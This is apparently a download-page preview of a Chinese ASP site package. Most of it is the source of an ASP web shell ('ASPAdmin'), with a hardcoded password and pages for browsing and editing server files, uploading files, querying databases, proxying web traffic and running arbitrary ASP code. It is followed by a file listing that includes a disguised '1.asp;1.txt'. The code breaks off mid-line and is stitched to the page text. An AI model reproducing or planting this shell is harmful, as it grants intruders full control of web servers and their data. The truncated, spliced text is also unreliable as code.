<object runat="server" id="fso" scope="page" classid="clsid:0D43FE01-F093-11CF-8940-00A0C9054228"></object>
<%
' Option Explicit
Response.Buffer = True
Dim url, conn, sUrlB, theAct, thePath, rootPath, PageSize
Dim accessStr, pageName, sysFileList, isSqlServer, sPacketName
theAct = GetPost("theAct")
PageSize = 20 ''默认每页记录数
isSqlServer = False
rootPath = Server.MapPath("/")
pageName = GetPost("PageName")
url = Request.ServerVariables("URL") ''当前页的相对路径
sPacketName = "jzp.jpg" ''文件包默认文件名
thePath = Replace(getPost("thePath"), "\\", "\")
sysFileList = "$" & sPacketName & "$" & Left(sPacketName, InStrRev(sPacketName, ".") - 1) & ".ldb$"
accessStr = "Provider=Microsoft.Jet.OLEDB.4.0; Data Source={$dbSource};User Id={$userId};Jet OLEDB:Database Password=""{$passWord}"";"
Const m = "ASPAdmin_A" ''Session标志
Const isDebugMode = False 'False,True''是否调试模式
Const maxPageCount = 600 ''查询时最多只列出N页的链接
Const userPassword = "53504D4E514E52" ''登录密码
Const imageFileExt = "$gif$jpg$bmp$" ''图像后缀列表
Const editableFileExt = "$vbs$log$asp$txt$php$ini$inc$htm$html$xml$conf$config$jsp$java$htt$lst$aspx$php3$php4$js$css$bat$asa$"
Sub echo(str)
Response.Write(str)
End Sub
Sub IsIn()
If Session(m & "userPassword") <> userPassword Then
echo "<script>alert('没有权限的访问,请先登录!');location.href='" & url & "';</script>"
Response.End()
End If
End Sub
Function IIf(var, val1, val2)
If var = True Then
IIf = val1
Else
IIf = val2
End If
End Function
Sub RedirectTo(url)
Response.Redirect(url)
End Sub
Function GetPost(var)
Dim val
If Request.QueryString("PageName") = "PageUpload" Then
pageName = "PageUpload"
Exit Function
End If
val = RTrim(Request.Form(var))
If val = "" Then
val = RTrim(Request.QueryString(var))
End If
GetPost = val
End Function
Function HtmlEncode(str)
If IsNull(str) Then Exit Function
HtmlEncode = Server.HTMLEncode(str)
End Function
Function UrlEncode(str)
If IsNull(str) Then Exit Function
UrlEncode = Server.UrlEncode(str)
End Function
Sub ShowTitle(str)
Response.Write "<title>" & str & " - 程序网络工作组ASPAdmin(物理路径版) V1.02</title>"
Response.Write "<meta http-equiv='Content-Type' content='text/html; charset=gb2312'>"
End Sub
Function GetTheSize(num)
Dim i, arySize(4)
arySize(0) = "B"
arySize(1) = "KB"
arySize(2) = "MB"
arySize(3) = "GB"
arySize(4) = "TB"
While(num / 1024 >= 1)
num = Fix(num / 1024 * 100) / 100
i = i + 1
WEnd
GetTheSize = num & " " & arySize(i)
End Function
Sub ShowErr(str)
Dim i, arrayStr
str = Server.HtmlEncode(str)
arrayStr = Split(str, "$$")
echo "<font size=2>"
echo "出错信息:<br/><br/>"
For i = 0 To UBound(arrayStr)
echo " " & (i + 1) & ". " & arrayStr(i) & "<br/>"
Next
echo "</font>"
Response.End()
End Sub
Sub CreateFolder(thePath)
Dim i
i = InStr(Mid(thePath, 4), "\") + 3
Do While i > 0
If fso.FolderExists(Left(thePath, i)) = False Then
fso.CreateFolder(Left(thePath, i - 1))
End If
If InStr(Mid(thePath, i + 1), "\") Then
i = i + Instr(Mid(thePath, i + 1), "\")
Else
i = 0
End If
Loop
End Sub
Sub AlertThenClose(str)
If str = "" Then
Response.Write "<script>window.close();</script>"
Else
Response.Write "<script>alert(""" & str & """);window.close();</script>"
End If
End Sub
Sub ChkErr(Err)
If Err Then
echo "<hr style='color:#d8d8f0;'/><font size=2><li>错误: " & Err.Description & "</li><li>错误源: " & Err.Source & "</li><br/>"
echo "<hr style='color:#d8d8f0;'/> By Marcos 2005.06</font>"
Err.Clear
Response.End
End If
End Sub
Sub TopMenu()
echo "<form method=post name=formp action=""" & url & """>"
echo "<select name=PageName onchange=changePage(this)>"
echo "<option value=''>请选择功能页面</option>"
echo "<option value=PageCheck>服务器信息探针</option>"
echo "<option value=PageFso>FSO文件浏览操作器</option>"
echo "<option value=PageDBTool>数据库操作器</option>"
echo "<option value=PagePack>文件夹打包/解开器</option>"
echo "<option value=PageUpload>批量文件上传</option>"
echo "<option value=PageSearch>文本文件搜索器</option>"
echo "<option value=PageWebProxy>HTTP协议网页代理</option>"
echo "<option value=PageExecute>自定义ASP语句运行</option>"
echo "<option value=PageOut>退出系统</option>"
echo "</select>"
echo "</form>"
echo "<script lanuage=javascript>"
echo "formp.PageName.value='" & pageName & "';"
echo "function changePage(obj){"
echo " if(obj.value=='PageOut')"
echo " if(!confirm('确认要退出系统吗?'))return;"
echo "if(obj.value=='PageWebProxy')obj.form.target='_blank';"
echo " obj.form.submit();obj.form.target='';"
echo "}"
echo "</script>"
End Sub
Rem ++++++++++++++++++++++++++++++++++++
Rem 以下是页面选择部分
Rem ++++++++++++++++++++++++++++++++++++
PageOther()
If pageName <> "" Then
IsIn()
TopMenu()
End If
Select Case pageName
Case "PageSearch"
PageSearch()
Case "PageCheck"
PageCheck()
Case "PageFso"
PageFso()
Case "PageDBTool"
PageDBTool()
Case "PageUpload"
PageUpload()
Case "PagePack"
PagePack()
Case "PageExecute"
PageExecute()
Case "PageWebProxy"
PageWebProxy()
Case "", "PageOut"
PageLogin()
End Select
Rem +++++++++++++++++++++++++++++++++++++
Rem 以下是各功能模块部分
Rem +++++++++++++++++++++++++++++++++++++
Sub PageSearch()
Dim strKey, strPath
strKey = GetPost("Key")
Server.ScriptTimeout = 5000
If thePath = "" Then thePath = rootPath
ShowTitle("文本文件搜索器")
SearchTable(strKey)
If theAct <> "" And strKey <> "" Then
SearchIt(strKey)
End If
End Sub
Sub SearchTable(strKey)
echo "<table width=750 border=1>"
echo "<form method=post action='" & url & "'>"
echo "<input type=hidden value=PageSearch name=PageName>"
echo "<tr>"
echo "<td colspan=2 class=td><font face=webdings>8</font> 文本文件搜索器(需FSO支持)</td>"
echo "</tr>"
echo "<tr>"
echo "<td colspan=2 class=trHead> </td>"
echo "</tr>"
echo "<tr>"
echo "<td> 路径</td>"
echo "<td> <input name=thePath type=text id=thePath value='"
echo HtmlEncode(thePath)
echo "' style='width:360px;'>"
echo "</td>"
echo "</tr>"
echo "<tr>"
echo "<td width='20%'> 关键字</td>"
echo "<td> <input name=Key type=text value='" & HtmlEncode(strKey) & "' id=Key style='width:400px;'> "
echo "<select name=theAct id=theAct>"
echo "<option value=FileName selected>仅文件名</option>"
echo "<option value=FileContent>仅文本内容</option>"
echo "<option value=Both>两者都</option>"
echo "</select>"
echo " <input type=submit name=Submit value=提交> </td>"
echo "</tr>"
echo "<tr>"
echo "<td colspan=2 class=trHead> </td>"
echo "</tr>"
echo "<tr align=right>"
echo "<td colspan=2 class=td>By Marcos 2005.06 </td>"
echo "</tr>"
echo "</form>"
echo "</table>"
End Sub
Sub SearchIt(key)
Dim strPath, theFolder
Response.Buffer = True
strPath = thePath
If fso.FolderExists(strPath) = False Then
ShowErr(thePath & " 目录不存在或者不允许访问!")
End If
Set theFolder = fso.GetFolder(strPath)
echo "<br/><div style='width:750;border:1px solid #d8d8f0;'>"
Select Case theAct
Case "Both"
Call SearchFolder(theFolder, key, 1)
Case "FileName"
Call SearchFolder(theFolder, key, 2)
Case "FileContent"
Call SearchFolder(theFolder, key, 3)
End Select
echo "</div>"
Set theFolder = Nothing
End Sub
Sub SearchFolder(folder, key, flag)
Dim ext, title, theFile, theFolder
For Each theFile In folder.Files
ext = LCase(fso.GetExtensionName(theFile.Path
ASP源码—站长天下网站备案号快速查询系统全套源码.zip
196 浏览量
2024-04-21
20:05:25
上传
评论
收藏 248KB ZIP 举报
ASP源码—站长天下网站备案号快速查询系统全套源码.zip （59个子文件） 
ASP源码—站长天下网站备案号快速查询系统全套源码 132689049109377496 
cache.cache.asp 493B About index.asp 648B
1.asp;1.txt 72KB 买空间到维讯.txt 1KB 系统介绍.txt 562B Function cha.Common.Asp 4KB cha.Cache.asp 3KB Include ConfigSiteBranch.Asp 357B Const.Asp 3KB Conn.asp 6KB Config.asp 578B ConfigGenuine.asp 360B js webmasterHome.js 8KB Miibeian index.asp 1KB Business index.asp 626B api Index.asp 2KB Spread index.asp 2KB Help index.asp 522B css style.css 2KB index.css 2KB v.asp 851B index.asp 8KB images ba_style.css 6KB
loadding.gif 2KB sogouprbar.gif 113B indexed_en.gif 921B
bodybg.png 24KB certinfo b_05.gif 90B b_01.gif 283B b_03.gif 90B b_04.gif 49B b_07.gif 283B b_02.gif 49B b_06.gif 49B b_08.gif 149B icon_qq.gif 398B Logo_top2.gif 3KB sogoupr.gif 77B ba_tablesorter.css 1KB
ad2.jpg 59KB btn_2.jpg 316B icon_alltheweb.gif 159B icon_yahoo.gif 88B indexed_cn.gif 1KB ba_balckListTab.css 2KB bg1.gif 507B Logo_Top.gif 7KB Logo_Top1.gif 626B menu-bg.gif 3KB icon_bing.gif 345B icon_altavista.gif 129B icon_google.gif 423B ad1.jpg 75KB icon_baidu.gif 366B Logo.gif 7KB Common GetCount.Asp 748B download index.asp 1001B ad top.js 2KB index.asp 546B资源评论
